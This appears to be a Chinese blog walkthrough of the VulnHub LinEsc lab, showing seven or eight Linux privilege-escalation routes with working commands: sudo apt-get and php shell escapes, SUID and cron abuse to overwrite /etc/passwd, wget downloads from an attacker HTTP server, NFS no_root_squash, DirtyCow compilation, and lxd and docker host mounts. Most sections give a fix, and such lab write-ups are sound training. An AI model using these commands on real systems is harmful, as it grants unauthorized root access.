vulnhub--LinEsc

描述

LinEsc是一台旨在演示Linux特权升级的7种最常见方式的机器。

目标:通过7种不同方式获得root特权。

默认凭据:(muhammadnasef

靶机下载地址:http://www.vulnhub.com/entry/linesc-1,616/

 

Linux提权技术合集:

https://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653571678&idx=1&sn=67c068ff3eb64062775a9164abe00b63&chksm=811b5c1cb66cd50a110b0810e5cc6f8a42eade46ad8f59dc43b48eb4d7b468c45afe68fe97e6&mpshare=1&scene=23&srcid=0205Mys8GF0tw0Wm4Xeb1v0Z&sharer_sharetime=1612506109614&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd

 

适用于OSCP和CTF的Ultimate Linux特权升级指南

2020年12月6日

教程ctf

特权升级是大多数CTF参与者和OSCP学生都在努力的话题。特权升级通常是为了获得更多特权,但是在这种情况下,这意味着获得root特权,这是系统中的最高特权。在本文中,我将通过开发步骤解释Linux特权升级的7种方法以及如何解决它们。但是,作为前提,您必须具有Linux必需品,例如有关如何使用命令行和Linux权限模型的知识。为了继续学习本教程,我们将使用由我创建的一台名为LinESC的易受攻击的计算机。您可以从这里下载。默认用户为“ muhammad”,密码为“ nasef”。

目录

 

1)权限配置错误

2)SUDO

i . cd /home/vuln/2

ii . apt-get权限滥用特权提升

iii. php特权提升

3)SUID

4)CRONJOBS

5)服务配置错误

NFS特权提升

6)密码泄露

i . history

ii . SSH密钥

7)内核开发

8)id(其他靶场)

lxd提权

docker提权

<总结>


1)权限配置错误

某些文件只能由root用户读取,而其他任何人都只能由root用户读取。有时文件的权限配置不正确,例如/ etc / shadow存储了整个系统的密码。除了root之外,没有人可以阅读它。

 

可读的 /etc/shadow

在这台机器上,/etc/shadow可以被所有人读取。因此,我们可以轻松地查看root密码的哈希值,并使用john或hashcat对其进行破解。

 

开发过程

要检查/ etc / shadow的权限,请使用

ls -la /etc/ | grep shadow

vulnhub--LinEsc

如果可读,则可以通过以下方式查看哈希

cat /etc/shadow

vulnhub--LinEsc

将哈希存储在文件中,然后使用rockyou单词表在其中运行john。 用户名

vulnhub--LinEsc

解决方案

为适当的文件设置适当的权限。在这种情况下,我们应该删除其他用户的阅读权限。

 

2)SUDO

SUDO是Linux中的一项功能,它允许用户A以用户B的身份执行某些命令。有时,用户可能以root用户身份执行certian命令。因此,我们可能滥用此功能来获得特权升级。

 

开发过程

使用

sudo -l

列出允许用户像其他用户一样执行的命令

 

如您所见,我们可以以(root)执行三个命令

i . cd /home/vuln/2

我们可以阅读脚本的源代码。它只是启动一个新的shell,但是因为我们以root用户身份执行此命令。我们将获得根外壳。

sudo /home/muhammad/vuln/2/sudo

vulnhub--LinEsc

 

ii . apt-get权限滥用特权提升

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

vulnhub--LinEsc

 

iii. php特权提升

sudo php -r "pcntl_exec('/bin/sh');"

vulnhub--LinEsc

 

解决方案

为适当的文件设置适当的权限。在这种情况下,请从/etc/sudoers中删除整个条目。

 

3)SUID

SUID是一种特殊权限,它允许任何用户以文件所有者的身份执行文件。因此,如果文件的所有者是root,则任何用户都可以root身份执行该文件。

 

开发过程

使用

find / -perm -4000 2> /dev/null

搜索具有suid权限的可执行文件

 

我们发现一个名为

/home/muhammad/vuln/1/suid

在跑。

 

即在

/home/muhammad/vuln/1/

我们找到了与sudo文件基本相同的源代码。

 

因为设置了SUID并且所有者是root,所以我们能够将shell作为root。

vulnhub--LinEsc

这个suid文件,执行之后会有一个shell返回,这个shell是具有root权限的。id查看权限,不是root,但是对/etc/passwd有读写权限,我们来添加一个root用户。

vulnhub--LinEsc

 

切回kali,生成密码。

openssl passwd -1 -salt qqq 123456

vulnhub--LinEsc

复制目标/etc/passwd到kali下,将我们生成的密码,按照格式写入。

vulnhub--LinEsc

python开启http服务器,使用wget覆盖/etc/passwd。

vulnhub--LinEsc

 

靶机执行

wget http://192.168.155.128/passwd

 

cp命令覆盖/etc/passwd

cp ./passwd /etc/passwd

vulnhub--LinEsc

提权完成

 

解决方案

为适当的文件设置适当的权限。在这种情况下,请从文件中删除suid权限。

 

4)CRONJOBS

Cronjobs是计划的命令和脚本,它们以特定用户的身份在一定时间间隔内自动运行。如果某个脚本以一定的时间间隔以root身份执行,则我们可以修改此脚本。我们可能会得到root shell。

 

查看计划任务

 cat /etc/crontab

列出系统中具有SUID权限的所有文件。

 

发现系统每一分钟以root权限执行script.sh。我去跟进去看看。

检查脚本的内容后,我们发现它只是复制了passwd文件以替换/ etc / passwd,因此我们只需修改./passwd并添加具有root权限的另一个用户,然后登录即可。

vulnhub--LinEsc

 

使用mkpasswd创建密码。

vulnhub--LinEsc

 

从passwd文件复制根条目,并使用我们上面创建的密码修改用户和密码。

vulnhub--LinEsc

 

等待1分钟,直到脚本执行完毕,这样您就可以轻松

vulnhub--LinEsc

解决方案

检查根目录的计划任务,并删除不必要的任务或可能被利用的任务。在本例中,请删除script.sh任务。

 

5)服务配置错误

某些服务可能配置错误,导致特权升级。

 

NFS特权提升

一个著名的配置错误是NFS无根压缩。NFS是允许服务器与其他计算机共享指定目录的协议。

 

如果computerA有两个用户(muhammad,root)。Muhammad在共享中创建了一个文件,然后所有者将成为computerA的所有者,但是当computerA的根在共享中创建文件时,就会出现问题。NFS将混淆computerA的根目录和共享的根目录。因此,如果computerA中的根目录创建了脚本并为服务器共享中的文件添加了suid权限。那么服务器中的一个简单用户可以将此脚本作为共享的根目录运行。这是非常危险的。

 

开发过程

1.跑

cat /etc/exports

查看导出的份额。

 

2.您会发现/ home / muhammad是共享的,但更重要的是启用了no_root_squash。因此,我们将利用它。

vulnhub--LinEsc

 

3.在我们的机器上使用

查看靶机挂载目录

showmount -e 192.168.155.139

vulnhub--LinEsc

将目标靶机nfs目录挂载到mnt目录中

mount -t nfs 192.168.155.139:/home/muhammad /mnt

vulnhub--LinEsc

 

4.由于我们的root是在 kali Linux,那么我们在共享上创建的任何文件将被共享的root用户所拥有,并给予了suid权限将允许用户 muhammad 运行此文件为root。因此我们可以创建一个脚本,该脚本将复制了passwd文件以替换/ etc / passwd 如crontab示例。无论如何,我写了这个脚本,它在/ home / muhammad / vuln / 4中。

5.像crontab示例一样,在passwd中添加新用户。

6.提供脚本SUID和执行权限

chmod +sx script.sh

 

从易受攻击的系统中运行脚本,瞧,新的root用户被添加了!

su到新创建的用户。

 

解决方案

为了解决服务配置错误,我们必须重新配置服务。在我们的情况下,请消除no_root_squash。

 

6)密码泄露

在某些情况下,可以明显地看到由于不良做法而导致的root密码,而我们仅讨论两种情况,因为密码管理问题数量不限。这种特权升级方法很难找到,因为没有直接的方法可以找到存储的密码。但是检查正在运行的服务的配置文件很有用,因为可能会重用密码。还检查系统目录并尝试检查是否有可疑文件。

 

i . history

如果您键入命令history,它将为您提供用户执行的命令的历史记录。

vulnhub--LinEsc

检查输出,您会发现两条重要的线。首先是告诉您按照我的Twitter帐户@nasefmuhammad进行操作:D。第二个是用户输入的命令错误。他的意图是输入su root然后输入密码,但是他没有写“ sudo root chicken”,而是chicken是root的密码。

修复建议:清除历史记录,不直接再命令行中使用密码。

 

ii . SSH密钥

SSH识别密钥在某些情况下可能允许您不使用密码ssh登录到目标用户。因此,您需要将ssh密钥存储在目标用户是唯一有权访问的安全位置。

在我们的例子中,根密钥存储在/ home / muhammad / vuln / 3 / key中,因此我们简单地使用ssh -i命令以root用户身份登录ssh。

vulnhub--LinEsc

下载到本机

vulnhub--LinEsc

 

解决方案

这些问题的解决方案是显而易见的。只需遵循存储密码的最佳做法。

 

7)内核开发

像任何软件一样,Linux内核也具有严重漏洞的历史。其中一些漏洞可能会导致特权升级等严重情况,因此,我们始终需要检查内核版本,然后在exploitdb或任何其他exploit数据库中进行搜索。

 

我们可以使用以下命令检查内核版本

uname -r

vulnhub--LinEsc

 

然后在exploitdb中搜索合适的利用

searchsploit linux 2.6.24

vulnhub--LinEsc

ctf中一个著名的重复利用漏洞是dirtycow.

 

使用脏牛提权,使用exploit-db的exp

searchsploit linux/local/40839.c -m

然后,按照漏洞利用中的说明进行编译。

gcc -pthread 40839.c -o dirty -lcrypt

vulnhub--LinEsc

运行漏洞利用程序。

vulnhub--LinEsc

利用之后,您会发现创建了具有root特权的新用户,您现在是root!

 

解决方案

内核利用的解决方案是保持系统更新。在我们的情况下,我们必须放弃8.04 ubuntu并获得受支持的版本。

 

8id(其他靶场)

id 查看用户基本信息,发现在lxd用户组,

lxd提权

vulnhub--LinEsc

github构建提权环境

https://github.com/saghul/lxd-alpine-builder

sudo ./build-alpine

 

然后回自动生成一个tar.gz文件,重命名成t.tar.gz

mv alpine-v3.12-x86_64-20201217_1534.tar.gz t.tar.gz

 

将t.tar.gz文件传输到目标主机上面,使用python开启http服务

python -m SimpleHTTPServer 80

 

目标主机使用wget下载t.tar.gz

wget http://192.168.56.105/t.tar.gz

需要先初始化环境 一切默认

lxd init

查看一下image

vulnhub--LinEsc

发现没有任何镜像,我们导入一下镜像,然后再次查看。

lxc image import ./t.tar.gz --alias dmagicsec

vulnhub--LinEsc

初始化容器

lxc init dmagicsec dmagicsec -c security.privileged=true

vulnhub--LinEsc

映射容器

lxc config device add dmagicsec dmagicsec disk source=/ path=/mnt/root recursive=true

vulnhub--LinEsc

启动容器

lxc start dmagicsec

执行交互shell

lxc exec dmagicsec /bin/sh

vulnhub--LinEsc

获取flag

vulnhub--LinEsc

查看id属于docker组,

docker提权

vulnhub--LinEsc

提升权限

docker run -it --rm -v /:/mnt bash

vulnhub--LinEsc

思路:目前我们将目标靶机的整盘目录挂载到了docker中,且在/mnt目录下,我们修改/mnt目录下面的文件,会直接影响到靶机。所以我们修改/etc/passwd文件,添加root权限用户。

生成密码

opensll passwd -1 -salt magisec 123456

 

进入我们刚刚root权限的虚拟容器shell,添加用户。格式如下

vi /mnt/etc/passwd

vulnhub--LinEsc

查看flag文件

 

<总结>

  • 权限配置错误; /etc/shadow 可读
  • sudo -l
    • 转到/home/vuln/2,我们可以阅读脚本的源代码。它只是启动一个新的shell,但是因为我们以root用户身份执行此命令。我们将获得根外壳。
    • ii. apt-get权限滥用特权提升; sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
    •  php特权提升 ; sudo php -r "pcntl_exec('/bin/sh');"
  • id
    • lxc提权;id查看用户基本信息,发现在lxd用户组,使用lxd提权。github构建提权环境
    • docker权限提升;查看id属于docker组,我们使用docker提权。docker run -it --rm -v /:/mnt bash
  • SUID是一种特殊权限,它允许任何用户以文件所有者的身份执行文件。find / -perm -4000 2> /dev/null
  •  查看计划任务; cat /etc/crontab
  • 服务配置错误
    • NFS特权提升; cat /etc/exports => 启用了no_root_squash =>showmount -e 192.168.155.139 =>mount -t nfs 192.168.155.139:/home/muhammad /mnt
  • 密码泄露
    • history
    • SSH密钥
  • 内核开发
    • uname -r =>searchsploit linux x.x.x =>著名的重复利用漏洞是dirtycow(脏牛提权)
上一篇:VulnHub靶场篇13-Sick0s1.1


下一篇:vulnhub 之ShellDredd-1-Hannah